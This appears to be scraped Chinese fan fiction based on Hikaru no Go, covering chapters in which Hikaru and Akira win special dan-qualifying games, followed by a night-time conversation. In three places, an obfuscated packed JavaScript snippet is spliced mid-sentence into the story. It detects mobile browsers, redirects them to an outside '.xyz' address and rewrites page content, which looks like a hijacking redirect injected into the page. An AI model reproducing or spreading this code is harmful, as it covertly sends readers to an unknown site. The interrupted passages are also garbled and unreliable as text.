白川露出了温文尔雅的笑容:“没办法,谁叫他曾是我这的学生呢。而且,我对他的真正棋力也很好奇。” 他的视线飘得越来越高。 自从去年12月与进藤光初次见面后,白川就只在新闻里听说过他的近况,每一次,进藤光下赢的都是了不得的对手。明明白川是最先发现对方的伯乐,却迟迟未等到与这孩子亲自对弈的机会……因而棋院提出审查组的邀请时,白川力排众议报了名。 本来棋院只想派出四段以下的棋手出战的,即使进藤光和塔矢亮赢了,对棋院也不算丢脸。可白川七段坚持报名,他们就不得不再拖出一个仓田厚七段一起作为保险。 万一七段输给了新初段,棋院就真的无地自容了。这局棋无论如何都不能输。 围棋教室的学生们都替白川老师捏了把汗。 如果说白川主动出战只是出于纯粹的好奇心,那森下拒绝参加评审就是在不爽自家弟子不争气了。 就在接到棋院邀约的瞬间,森下茂男九段立刻指着报纸上的照片,怒斥面前的棕发少年,口水都快喷出门外了:“你也学学这个进藤光!和谷!不赶紧加入职业世界的话,是没办法进步的!森下研究会绝对不能输给塔矢!给我发誓!下次一定要下赢他!” “饶了我吧森下老师……这怎么可能嘛……您根本不知道进藤他有多可怕!”和谷欲哭无泪。 “哪里不可能!进藤不也才13岁吗?你们同年!” “别说13岁了!就是我26岁也未必下得过他!进藤就是个怪物!不合常理的那种!” 和谷说得倒是在某种层面上格外接近真相。 听闻进藤光获得破例优待、有机会直升高段的消息,却丝毫不觉惊讶的,似乎只有一人—— 那便是有过类似经历的虎次郎。 “的确,如果让你从初段起步,对其他棋士才是一种不公平吧。”虎次郎站在暮秋微微泛红的枫叶下,望着从顶端叶片之间漏出的阳光,如此说道,“围棋需要水平相当的对手,方可进步,过强或过弱都会适得其反。若让他们与实际棋力相当于九段的你交手,反而容易令他们遭受打击、一蹶不振;你的棋力也得不到磨炼,只是浪费时间而已。棋院的老师们在认真替你着想啊,进藤君。” 虎次郎年纪轻轻便被奉为围棋天才,六岁开始学棋,十一岁评为初段,十五岁升为四段,十七岁获得“赤耳妙手”的美称,人人都说他继承了棋圣道策的才华,这奇妙的际遇带给他的不止是过早的心理成熟,也是一颗宠辱不惊的心。在他看来,进藤光得到特殊提拔并非怪事,毕竟他本人的体验比这不可思议多了。 “看吧,我就说了,虎次郎会认同我的。你们反应都太大啦!也没多大事儿嘛!” 光坐在因岛神社的石阶上,一边在简易的折叠棋盘上摆棋谱,一边同虎次郎和佐为等人闲聊。 看他这么大大咧咧的样子,塔矢亮摇了摇头。 “不……动静已经很大了,就算称之为围棋界的地震也不为过。我走到哪,哪里都在议论你,不要低估棋院这一决定的影响力,进藤。”亮在他对面摆着另一方的棋子,神情格外严肃,“就算你拿到连胜,压力也只会越来越大,因为他们会认为你理所当然一直赢下去,输了任何一次,就是名不副实。‘绝对不能输’的心态会直接左右棋盘上的局面,因为出手的选择会更少,也更容易计较一时的优势,变得束手束脚。” “那就一次也别输不就行了。好痛!” 光这想当然的回答让佐为生气地拿扇子敲了敲他的头。 “不可以因为一点优待就骄傲自大、疏忽了练习喔,小光!你还没有赢过我一次呢,你未来的围棋之路还很长很长。”佐为在一旁唱着白脸,一副督训自家弟子踏实用功的严师模样,“这里,应当用压才对吧,老毛病又犯了,这样下去你是下不赢塔矢名人的。” “知道啦知道啦……我这不是上次用这招对付塔矢还挺管用的嘛。” 光往棋盘上又落一子。 亮马上撤回了之前的那一步。 “那倘若我这里先退,你又要如何应对?” “嗯……那我当然就跳咯,怎么看你这手都不算占到便宜啊,该进攻的时候就是要搅浑水搅到底!不然就还是会输给我!你还没有赢过我一次呢,塔矢!” 佐为在一边用很无语的眼神看着他:“……小光,不可以照搬我的台词。” “噗嗤。” 这笑声却是从一直默默观战的虎次郎身上传来的。 “……啊。”光有些惊愕地眨了眨眼,确认了半天是不是自己听错了,“我好像还是第一次看到虎次郎这样笑!” 还真是。佐为也没见过这样的他。也许是因为他们放肆吵架般的复盘太过新鲜,让虎次郎自己都忍俊不禁了吧。自古以来的棋士总是追求喜怒不形于色,有城府的棋手才是高手,谦谦君子才符合大众对高雅棋道的想象,虎次郎本人又是极为温和的性格,从来没和别人吵过架,被光这么一说,他才注意到自己方才露出了怎样的表情。 不过……这种感觉并不坏。 “不知为何,看你们相处总觉得很有趣。”虎次郎的笑容里充满了轻松,那是他此前一百四十年从未体验过的感觉,而后他小心翼翼地问,“能让我……也参加复盘吗?” 光先是一愣,随后喜形于色地大叫起来:“当然当然!我巴不得你也来!” 亮则是松了口气。“有秀策老师在,进藤你这些胡搅蛮缠的理论就使不上劲了吧。” “啊?你说谁胡搅蛮缠?!” “生气的人一般都是因为说中了。” “阴阳怪气的人一般都是因为下棋下不赢!所以才会在口头上斤斤计较!” “这样如何呢,秀策老师?”亮转移了对话主体。 虎次郎沉思片刻后微微颔首,“原来如此,非常有远见的一步,有些意思,这样一来……我们可以从后方追击白子的漏洞,而后一举制敌。你果然和我的棋风很相合啊,塔矢君。” “多谢您的夸奖,秀策老师。”亮诚恳地弯下腰去。 光从底下歪着头抢走亮的视线,气冲冲地瞪着他。 “——喂!不许无视我!塔矢!这一局可是你和我的对局!” 两人两魂就这样在吵吵闹闹的复盘中度过了短暂的下午,而后,光和亮二人又不得不搭乘返程的新干线回到东京。定段赛在即,按理说他们应该抓紧时间备战每次对局,但光无论如何都想把这个消息告诉虎次郎,才坚持抽出一天来到了这里。 现在看来,还好他来了。能发现虎次郎对围棋的喜爱依旧不变,甚至被吸引加入他们的讨论,一定可以让那颗失落的心暂时得到安放吧。 上次相见时,虎次郎把最牵挂的佐为托付给了进藤光,也把自己的围棋梦想一同托付了出去。明明那应该是他最重要的东西。 备受瞩目的定段赛最终来临之际,光感受到的不是紧张。 而是,某种笃定的信念。 他要——为了让虎次郎相信自己的选择并非错误——而战斗到底。 这一次,他背后站着的幽灵,是“两个”。 看得见的佐为。 以及看不见的虎次郎。 数十家媒体的闪光灯远远就开始亮个不停,光从电车上下来、与亮并肩走进棋院会馆大厅时,始终没有看向前方以外的任何角度,他不在意旁人的看法,他们对他寄予厚望也好,只是凑热闹吹捧几句也罢,冷嘲热讽也无所谓,他要做的只有一件事:那就是下棋。下一局好棋。一局每一步都不后悔的棋。 若无纵身跃入深渊的勇气,又要如何摘取悬崖上的果实? 杀、杀气。一瞬间,站在门口迎接他的久原都忘了上前搭话。 原因他说不上来,但今天的进藤,总觉得身后跟着千军万马。那种往日里孤身作战的“癫狂”般的求胜欲消失了,多出了几味镇定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389846|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和从容。 “……这小鬼的眼神,比上次更叫人不寒而栗了啊。” 早一步抵达对局场地的川崎紧紧抿着嘴角,完全笑不出来。他看过进藤的棋谱,深知自己实力无法与这个看似初出茅庐的小家伙对抗,接下棋院的任务、仅仅只是因为自己的胜率在三段之中排名第一而已。不过,即使进藤光不参加特别定段赛,两人也势必在不久后的大手合赛里碰面吧。 早晚会有决一胜负的一天,那就长痛不如短痛了。 棋院全体三段的荣耀,就由他川崎来守住吧! “……” “两位准备好了吗,那么,请猜先。”棋院的工作人员发话了。然后,棋盘前的两人互相鞠躬。全程在一旁转播实况的天野则已经开始了棋谱记录,随时交给外面的同事进行解说。 摄像头清晰地拍摄着棋盘正上方的情况。 进藤一家坐在电视机前,夫妻二人特意请了假在家看自家儿子的比赛直播,美津子紧张得双手合十、忘了锅里沸腾的咖喱汤。虽然他们完全不懂围棋,但既然是能上电视的比赛,一定对小光本人很重要吧。 藤崎明也和叶濑围棋部的大家一起,守着白川围棋教室外的大屏幕。他们都挤在第一排,只有明默默坐在最后,摩擦着食指上不知何时长出来的茧,像在祈祷,又像被青梅竹马的耀眼牵挂着思绪,眉头无法舒展。 院生们则聚集在楼上的讨论间里,叽叽喳喳地说着关于进藤和塔矢的闲话。门忽然开了,10月合格的新人站在门外,有些不解地看着门内热火朝天的这群对手。 “……你们在做什么?”戴着巨大圆片眼镜的西瓜头少年推了推镜框,语气不善,“教室里一个人也没有。” 和谷扭头看了他一眼,“这都不懂”似的责怪般道:“当然是看进藤的比赛啊!比上课重要多了!你还没见过他吧,越智,这小子在你来之前,一直都是院生第一哦!” “第一吗。” 越智康介,眼中立刻多出了锐利的敌意。 不过这也无关紧要,因为在自己加入之后,院生的新“第一”就会是自己了。 和谷没看出他眼里的不悦,还在大大咧咧说个不停:“哦,准确来说是伊角先生被他击败之后。在那之前第一都是伊角先生啦。” “你没必要补上这一句的,和谷。”伊角本人无奈地低下头,“啊,开始了!” 镜头里,川崎三段僵硬着脸,落下第一枚黑棋。星位。 光马上落下第一枚白棋。对角的星位。 啪! ——好快!根本不像经过思考!不能被他骗了!这一定是在施压!想着跟上他的速度就会中招! 明明才下了一手而已,对面的川崎的额头已经布满了冷汗。 与进藤光这边冻得像冰窟的寒意相反,另一侧的对局室里,塔矢亮和芦原弘幸则是十分友善地互道了早安,才各自在自己的位置上缓缓落座。芦原和亮相识的时间早已超过亮人生的一半,对于这位师兄,亮一直秉持着朋友般的敬意,实际上两人交手也经常互有胜负,如今在定段赛上相会,倒令芦原有种时光倒流的错觉。 毕竟小亮认识进藤之后,就几乎完全不来找自己下棋了嘛……芦原有些遗憾地摸了摸后脑勺。 这也没办法,再怎么说进藤的棋力也强得太惊人了,别说小亮了,连那个最要面子的绪方大师兄都直勾勾盯着进藤看、一秒都没松懈过。 如何,一段时间不见,小亮是去了更远的地方……还是自己也稍微追回来了一点呢?他们还有资格站在同一条起跑线上竞争吗?他还能以“小亮的朋友”自居吗? 芦原怀着这份强烈的想要挑战“自我”的心情,选择报名了这次对弈。 猜先结束,亮执黑先行。 走了几步,芦原稍微放下了心中的不安。是小亮的棋。和平时没有太大差别,是他熟悉的小亮的棋。 ——如果你这样想的话,结果就已经决定了,芦原先生。 亮不动声色地看着对手的表情,将真正的想法隐藏起来。这也是遇到虎次郎之后,经由他的点拨,而领悟到的事。 ●○●○ 98.Chapter 97. 接力棒,传出去吧 ——“绝不能被对手通过神情猜到想法。” 进藤光习惯了塔矢亮的杀气,所以从未指出过这一点,但亮在下棋下到认真状态时的表情和平时总是判若两人,尤其当对手是虎次郎这种高手时,他总会不自觉进入心流状态。 一旦乘上心流,就无暇顾及表情管理了。 两个月前的塔矢家书房,虎次郎坐在棋盘对侧,和亮进行着对弈时,给出的第一句建议就是这句话。 “塔矢君的心情总是写在脸上呢。” “诶?有吗。” “是的。惊讶的时候,吃力的时候,以及准备殊死一战的时候,都暴露无遗了。” 可能因为是幽灵的缘故吧,虎次郎对人类的观察比一般人更细致入微。他本就是心思细腻的棋手,否则也不会因为害怕佐为的光辉、而让出下棋的全部机会,更不会因照看患病的友人而染上恶疾、撒手人寰。亮歪了歪脑袋,似乎还没考虑过类似的问题。 然后那一局果然是亮惨败。 今天的对手是最熟悉他的芦原,如何在他面前隐瞒思路,是亮对自己的考验。 “……游刃有余的感觉啊。”芦原果然已经在判断他的神色了,“该说真不愧是小亮吗,应对我已经不需要认真了。” 那他就趁着小亮松懈的机会、一举反击!侵掠他的四角! 就在这里先占到优势!扩张吧!眼下不是藏刀的时候了,亮剑逼他应战!然后用比风更疾的速度,最凶悍的刀,斩断大龙! 进入职业世界两年,芦原相信,每日艰苦的训练和竞技、以及无数次面对高手的惨败,都让自己与过去不同了。要是小亮还以为他是老样子,就在这里绊倒一次吧!这也是为了小亮的成长。 任何一个不起眼的敌人都不该轻视! “……” 亮眼中的微光以旁人无法洞察的速度闪烁着,他从容不迫地继续落子,仿佛只是在进行一局日常训练里的手谈。 流水不争,步步本手。 毫无发招之意。 这下轮到芦原不安了。 因为亮完全不理会他的叫吃。即使按照定式,也不该如此的。 还有别的想法吗?亦或只是佯装冷静…… 不行,他看不懂这个小亮的棋,现在的小亮,和在研究会的小亮的下法有天壤之别!简直就像是……就像是在和塔矢老师对弈一样! 温和无攻击性的棋风,却能兼顾四方生死。 难道他已经看到那么久之后了吗…… 要是这里能接上,或许还有救。但在这里补棋,就注定会失去先手。被亮占据了先手,胜负就会立刻颠倒。去角落胡搅蛮缠也没用,大势不会轻易改变,而且眼前的这个小亮,毫无疑问会提前猜到他的意图、予以斩断。 芦原感到温度正渐渐从血管深处抽走。心乱如麻之下,后续的每一步都在被对方牵着鼻子走。 这感觉糟透了。他还以为是自己牵着小亮,绕了一大圈,中计的却是自己。 名义上早早定段的芦原总以师兄自居,年龄上也是年长的他更关照亮,他是亮的哥哥一般的存在,一直以来都是这样。 可他看不懂,亮此时此刻的想法。 一手一手,都和几星期前的他不同,显得如此陌生。 芦原被汗湿透了后背。 想到头顶还有镜头记录着棋盘上的一切,他就更加感到这是一种命中注定。 前辈……吗……已经不能这么自称了。小亮的棋艺已经去了太远的地方,他追不上,连背影都看不清。曾经一同接受塔矢行洋批评时偷偷相视一笑的二人,其中一人的身影正在远去。见证者是全国的棋迷,一点给他找借口的空间都没有。 终于……还是到了亮与自己擦肩而过的时刻。 “……我……输了。” 芦原强忍着遗憾低下头,嘴角还勉强维持着微笑。 穿着西装的亮不卑不亢地弯腰致谢。 “多谢指教,芦原先生。” 然后,再次抬起头时,芦原惊讶地发现,那个可爱讲礼貌的少年又回来了,正对着他露出熟悉的笑容。 还是……小亮。 芦原一愣,随后为自己刚才棋盘上的心理活动感到害臊。是啊,棋士的恐怖之处,本来就要在棋盘上才能理解。他从未和亮在职业舞台上正经交手过,何来的理由判断亮“是否在认真”? 狂妄自大的人是自己才对。 恢复心态的芦原不好意思地收拾起了棋子,看似随意感叹道:“哎呀……总觉得,今天的对弈之后,小亮就会离我更远了。” 亮笑得双眼弯成了月牙。 “别说这么寂寞的话,芦原先生。不论何时都欢迎你来找我下棋。” 温暖而包容的笑容。芦原瞬间无言以对。 亮在以朋友的身份顾虑他的情绪,可这样反而对他打击更大了。 ——就是这份不受动摇的平和,这该死的平和,才让我直观感受到我和进藤的差距啊。面对进藤的时候,小亮就完全没法笑着说出这种话。真正把对手视为死敌的警惕、渴望、战意、以及不安,这些都是只在进藤面前才能显露的小亮的另一面。 避开一旁疯狂拍照的摄像机,芦原以无人能听见的声音轻轻叹了口气。 “祝你一路顺风。” 接下来,就让他作为“后辈”,重新对塔矢亮奋起直追吧。 记录员确认完棋谱,点了点头。 “那么,结果是塔矢初段对芦原二段,塔矢初段执黑胜9目半。稍后想请塔矢君接受一个简单的采访。芦原二段也一起来吗?”天野从跪坐的姿势站起来,拿着小笔记本,问棋盘边的二人。 终于从全神贯注的思考中脱离的亮第一反应就是高声询问:“请问,进藤的对局结束了吗?” “啊?啊、是的,已经早一步结束了。” “第几手赢的?” 这个问法令天野吃了一惊。亮确认的不是谁赢了,也不是赢了几目,而是第几手赢的,意思就是他确信进藤光会在中盘就逼川崎三段狼狈投降。天野只能吞吞吐吐地回答:“是……第69手。” 这个数字小得他自己说出来都不太信。塔矢亮却若有所思地点了点头。 “多谢。我想先看看他的棋谱。抱歉了,采访可以安排在十分钟后吗?” “可以是可以……” 天野还想说点什么,亮已经急匆匆披上外套,往门外去了。他总是这种风风火火的形象,只要是涉及进藤的对局,他就无比关心。不过,对方似乎也抱有同样的想法。证据就是,亮走到走廊上,就和靠在墙上等待的进藤光对上了眼。 “哟,你总算出来啦,塔矢。可让我久等了。” 光双手插兜,似乎很闲的样子。 亮眯起双眼。 “……下次我会更快结束战斗。” 光头也不回地往前走去,随意摆手,“下一场的对手可是五段!哪有那么容易啦!” “你才是,要是因为轻敌就输了,可就太让我失望了。” “拿到本因坊之前我是不会输的。” 两人在刚才对战的棋盘前坐下。亮坐在了川崎的位置,仿佛对此已经十分熟练。他指着棋盘上还未收拾的棋子,毫不客气地评头论足起来。 “今天你这棋,就下了许多臭手不是吗。” “啊?哪里臭了?我赢了诶,还是超级无敌快的中盘赢!” “那也是因为对手看得太浅了,如果是我,就会在你霸占这两角之前主动舍弃,断臂求生。比如这样。再这样。” “在这里断臂只会让后面更困难的说。” “不一定吧,得看后续应手。进藤你最近太顺了,对自己太过自信是会吃苦头的。” “哼!要你管!我每晚都在被佐为虐得死去活来的,想自信都没有这个条件啦。羡慕的话你就来我家,我让佐为和你下几局。” 闻言,亮的眼睛马上“唰”地冒出闪光。“这倒是求之不得。今晚如何。” 佐为“嗯嗯”地在光身边连连点头,这俩人,互相确认过对方的存在之后,就突然关系变得很好了,真叫人嫉妒。光拗不过他,只能同意:“那……你待会打个电话告诉明子阿姨你不回家咯。丑话说在前面,我睡床你睡地板。” “我可以把牙刷寄放在你家吗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411179|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你还真打算赖着不走了啊?!!” 两人对着棋盘检讨了几句,一前一后走向天野先生约好的采访室,其间亮瞥见了呆坐在走廊休息椅上的川崎三段,他似乎还沉浸在防御被彻底瓦解的恐惧之中、久久不能起身。也是,谁见了进藤都会这样的,毫无还手之力的感觉对谁都一样糟糕,亮对他的失败表达了短暂的同情,但,要是在这里失去斗志的话,就只会被进藤甩得越来越远。他没有为失利垂头丧气的时间,希望他明白这个道理。 闪光灯再次齐齐亮起。 记者们蜂拥而上,胜利的实感首次扑面而来。 此时,电视机前的藤崎明捂着胸口松了口气。直播比现场延迟了几分钟,她到现在才得知对局的结果。下到一半的时候,她一度以为小光要输了,紧张得要命,没想到是他故意设下的局,中途就实现了完美逆转。能轻松把对手耍得团团转的高瞻远瞩,怎么说呢……心跳加速得根本停不下来。好独特的心情。 下棋时的小光是最有魅力的,比他平时温柔地教她下棋还叫人挪不开目光。 有为之欣慰的人,自然也有为之不服的人。棋院观战室的和谷一把捏弯了手中的可乐罐:“啊、可恶——居然赢得那么轻松!这家伙最近完全没输过吧,倒是来个高手好好教训他一下啊,不然他尾巴都要翘上天了。对手可是三段喔,三段,去年幼师赛把伊角打得落花流水的三段!” 伊角笑着滴下一颗汗珠:好像也不必事事都扯上我。 他摇了摇头,想找其他人搭话,但坐在旁边的久原早已冲出观战室、举着相机去拍照了。不愧是他,早早就判断出进藤光的优势,根本没理由在这里多呆一秒。 起初带着狂妄随意坐在角落的越智失去了表情管理,警惕地握着双拳。 进藤……之前他隐约听闻过这个名字,围棋世界时不时就冒出一两个“天才少年”,多半也是一时仲永,几年后就毫无风浪了,仅仅只是入门比较快而已,能达到高段境界的不足万分之一。他以为这个进藤也是如此,不足为惧。相比进藤,反而是继承围棋世家衣钵的塔矢亮更有威胁性,毕竟塔矢亮遇到瓶颈、还有最亲近的人能随时教导他。 但是,今天亲自看到进藤的棋…… “我出去一下。” 他忽然站起身,推门而出。 和谷不解地回过头,“啊?越智那家伙……突然怎么了?” 啪,西瓜头少年闷闷关上厕所隔间的门,开始用额头击打门板。 哒,哒,哒。 明明不是自己输了,心情却像自己输了一样难受。川崎三段的棋,每一步都不差,换作是他也会使用相同的路数,说不定还不如川崎三段考虑得周全,可即便如此,在过于鬼才的进藤面前,自己设想的一切进攻都毫无胜算。越智的心中充满了无处发泄的愤怒。 哒,哒,哒。 “不甘心。”他的眉头皱得就像板块碰撞造成的褶皱山脉,“进藤的棋,我连看都看不懂……他到底是怎么下出来的?不甘心。不,我一定要打倒他。今晚就去拜托爷爷,多给我雇几个职业棋士当家教。” 货真价实的天才少年只能有一个,那就是他越智康介。 关西棋院顶楼天台,社青春望着远方刺眼的阳光,一言不发,嘴唇抿得紧紧的。 东京某高级公寓内,绪方精次单手拉开窗帘,让秋日的暖阳稍微照亮室内冰冷的沉默。 实时演播室中央,桑原仁呵呵大笑着讲解方才的对局,似乎心情大好。 远在韩国棋院通过电脑看到整局比赛的洪秀英如临大敌,死死盯着屏幕、不愿低头。 高永夏从跑步机上走下来,脖子上的毛巾已然全湿,他抓起桌边的报纸,上面刊登着《日本棋院天才双子星横空出世:特别定段赛即日举行》的新闻。 北京中关村硅谷电脑城里,收到短信得知对局结果的杨海微笑着关闭手机,继续走向其中一个柜台。是时候回去练棋了,再不努力,这些新生代都能骑到自己头上了。得把这个消息也告诉棋院那些小孩儿才行。 而接受采访的二人并肩坐在背景板前,对外界的疾风骤雨都一无所知。 99.Chapter 98. 夜晚的悄悄话 “下一个问题,进藤君。”竖着干练马尾的女性记者举手提问,“关于下周末的第二场对局,你有什么想法?比如第一次和五段女棋士在赛场上交战?” 设问显然是有意为之。 可惜,进藤光不是随便踏进采访陷阱的“年轻人”。 他熟练地皱了皱眉,“嗯?单独把女性棋手摘出来总觉得有点刻意,梅泽女士一定也不会因为对面是小孩就手下留情啦。竞技围棋就是这回事,绝对公平,绝对公正,掌握变化的人才能掌握胜利,跟身份、年龄、性别、段位都无关。后天还有本因坊预选赛,我和塔矢得先走一步了。” 说罢,两人齐齐起身,准备做最后的鞠躬。 记者连忙叫住他:“那关于未来的期待呢?简单说一句就好!” 倏然之间,光的脑海中自然浮现出了那个回答。 “……围棋之所以有意思,就在于每一局都完全不同,我在成长,对手也在成长,所以每一局都不可预知。要说期待的话,肯定就是这一点了。”提到“对手”时,他望向了塔矢亮,对方也用了然的眼神微微点头,光收起嘴角的笑容,深深弯下腰去,“谢谢大家来看我们下棋,下周也请和我们一起乐在其中吧!” 乐、乐在其中……这得是多好的心态……天野不自觉擦了把额头的冷汗,稿子能写的点实在太多了,他平生头一次为不知该删掉哪部分而发愁。 而我们的佐为满心想着的都是另一件事:嗯哼哼,不愧是重活一次的小光,面对镜头的情商真是不得了。这样一想,他更好奇上辈子的小光有多顽皮了,跟着那样的幼稚鬼一定也很有趣吧,搞不准小光还会在镜头前大放厥词“五段很厉害吗”然后再来一句“反正肯定下不赢sai”。 “佐为,你干嘛偷笑?再不走就把你丢下咯。”光停在门口,纳闷地回头叫他。 长发幽灵这才乐呵呵地飘了过去。 “来啦!今晚是我和塔矢对弈吧?好开心喔。” “是是是,记得给我揍他个落花流水啊。” 佐为深深将光的吩咐铭记在心,怎样才能让这次来之不易的对局给塔矢亮带去更难以磨灭的冲击力呢?一边构思着全新思路、一边针对塔矢亮的弱点有意设局的佐为放慢了落子速度,一不留神,就沉迷对局到了深夜12点。就在时针走向“12”的瞬间,说时迟那时快,一声尖锐的巨响忽然从桌面上传来,惊天地泣鬼神,吓得全力思考的亮差点没拿稳棋子、掉在棋盘上。 “——该睡觉了!进藤光!再不上床我就把sai的秘密说出去!该睡觉了!进藤光!再不上床我就……” 光连忙一个反手摁掉了手机。 竟然是一句录音。还设定成了循环播放。而且这声音似乎有点耳熟。 脸色铁青的亮好不容易恢复了心跳,对此表示很难评价:“真是‘特别’的闹铃……” 闹铃的设定者正是购买手机的主人,久原木子郎。在进藤光闹了一场因岛消失事件后,久原就买了一台手机作为“生日礼物”硬送给光,勒令他随时与教练保持联系,以及,养成更加健康的作息习惯。 光尴尬地笑了起来。 “某人的恶趣味而已。安心啦,佐为的事我只告诉过你,他仅仅知道sai的棋都是我下的,幽灵什么的一概不知。” 他的语气好像在说——亮是最特别的。 仿佛缓解尴尬一般,下一秒,进藤光就很自然地从壁橱里拉出被子,铺在地上,毫不犹豫地躺了上去。意思是剩下的对局就先封盘留到明早了。塔矢亮抱着枕头,有点无辜地望着他,明明早些时候嘴上说主人睡床客人睡地的就是他,结果他还是主动选了地板,这家伙还真是心口不一。 不过,当亮对此提出质疑后,光却用一句“吵死啦,快点睡”的粗暴回绝搪塞了过去,压根不给讨价还价的空间。 亮只能乖乖躺到床上。 灯光熄灭了。他却毫无睡意。窗帘挡住了全部星光,视野里只有平平无奇的灰色。这就是进藤平时看到的天花板吗,枕头柔软得出奇,带着一股奇妙的橘子香,床垫也比自己家更松软,一切都和进藤火火热热的性格完全相反。 这么说来,佐为现在也在房间里吧,亮不禁好奇起来,当进藤睡觉的时候,佐为会独自做点什么?幽灵需不需要睡眠呢?如果不需要,就能把多出来的时间都花在思考对弈上了,真羡慕他啊…… “睡不着吗?”地面传来光的声音。 “没事。” 听到这句话,光干脆直接从被窝里钻了出来,“我很啰嗦的哦,发现别人说谎,就会忍不住问到底。有烦恼的话说给我听听嘛,不然我会在意到整晚睡不着觉的。” 亮连忙侧过脸表示反对:“那可不行,后天就是本因坊预选了!” “所以,说吧。你在想什么?” 一阵短暂的沉默后,亮放弃了挣扎。 从未在他人面前展露内心世界的他,如今正对着友人一点点打开紧闭的心门。“……今天面对芦原先生的时候,我好几次差点以为自己赢不了了。乍一看,全局都在我的掌控之中,实际上却如履薄冰,和我们私下对弈时完全不一样。职业的赛场,果然比常人想象的……还要残酷。” 这样的台词说出来之后他自己都觉得矫情。 光也有点吃惊:“好意外,你以前不是完全不在乎这些吗?” 棋盘前的塔矢亮总是冷静、独立、强大、毫无情绪变化的贵公子。外界都这样坚信。亮将一只袖子伸出被窝,轻轻搭在胸口,深吸一口气。 “我也是这么以为的。但是……心脏……跳得停不下来。” 听到这略显不安的语气,佐为有些好奇地凑近他观察脸色,又担心地转向光:“怎么办?塔矢是不是焦虑啦?要不要去看医生?” 这反应还真是夸张。但也说明佐为确实很关心他。光失笑道:“不,相反,他是太兴奋了。第一次在正式比赛里击败了更高段位的前辈,初尝胜利果实的喜悦,以及棋盘上直面生死的既惊险又刺激的感觉,让他冷静不了。佐为也懂吧,这种感觉?” 佐为弱弱地点了点头。 亮接着又说:“即使是现在,心脏也还在砰砰乱跳。真奇怪。” 虽然是很细微的心情,平时不可能和别人聊到的、不值一提的异常心情,但能找到一个朋友将它表达出来,莫名有种不再孤身一人的暖意。亮的声音里带着一丝犹豫。也许他觉得职业棋士产生这种心态是不“专业”的表现。不过,光完全没有否认他的感受,反而和他站在了同样的地方,共同分享着这种感受。 光把双手枕在头下,笑着陷入了回忆:“这就对了,赢棋的紧张程度和平时不一样吧?我刚下完大手合那晚——我是说上辈子啦,当时也满脑子都是对局回放,每一步都在脑海里重现,还不停地自我复盘,想象对手如果这样那样我要怎么反击,根本睡不着一点,数了一千只羊都没用。佐为在旁边看着都急死了。但是,就是在这种残酷的战场上取胜……才最叫人欲罢不能呢。” 话锋一转,他将不安引导向了某种积极的心态。不是否认,而是肯定那份不安。 他们都喜欢这种感觉。 他懂他的感觉。 亮忽然放下心来,缩回软绵绵的枕头里,沉没下去。 临睡前,他留下了最后一句话:“胜利的滋味吗……总有一日,我会在正式对局里赢你。今天一战后,这样的心情更强烈了。” 光嘴角的笑意更甚。 “嘿嘿,我随时恭候。” 时光飞逝。 鉴于本因坊预选赛的胜利过于轻巧,对手只是个不成气候的二段,光和亮都不费吹灰之力就取得了胜利,反而没什么获胜的实感。一转眼就来到了特别定段赛的第二局。 周六是天气预报里说的“最适宜赏枫的时机”,街道上的树木也一夜之间就变得鲜红,棋院大厅外飘落的红叶缓缓停在路边,让佐为露出一丝笑意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429228|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 四季变化一如千年之前。 记者们同样早早聚集在赛场附近。不过今天,人数显然比上次更多。第一局两人的双双胜利写进报道十分好看,芦原又是塔矢亮的师兄,“下克上”的逆袭爽感极大引爆了围棋评论的点击率,让不少网友都专程来到棋院观看实时对局解说。不过…… 天野摸了摸下巴,“感觉今天到场的男棋迷占比更高了。为什么?” 同事则一脸惊讶的样子。 “您在说什么啊!天野先生!今天可是那位‘梅泽’小姐华丽登场的日子喔!门票都叫黄牛炒到了天价!” “你们在聊我的事么?” 谈笑间,一名身着应季秋菊和服、佩戴枫叶头饰的长发女性踩着木屐慢慢走近,脚步优雅从容,正是进藤光今日的对手——棋院的高人气宣传大使,梅泽香织五段。即便是对围棋以外的事毫不关心的光都知晓她的名字,因为她时常出现在各类围棋节目上,深受男性观众的喜爱,广濑先生就是她的忠实粉丝之一。可爱元气的面容、温柔有加的嗓音、反差极大的凌厉棋风,共同构成了“梅泽go”形象的经典标签。 见到她的瞬间,连佐为都忍不住发出了平安时代的感叹:“多么美丽的女子啊。” 像是注意到佐为的赞誉一般,梅泽侧过脸,露出极富古典美的微笑。连稍稍弯曲的刘海都是那么的恰如其分。光清了清嗓子,道:“要是因为她长相甜美就以为她棋力一般,那可就大错特错了。” “我没有小看她喔。她一看就是会吟和歌的知性女子,和小光大不一样呢。” “哪有!我也是会学习的啦!!” 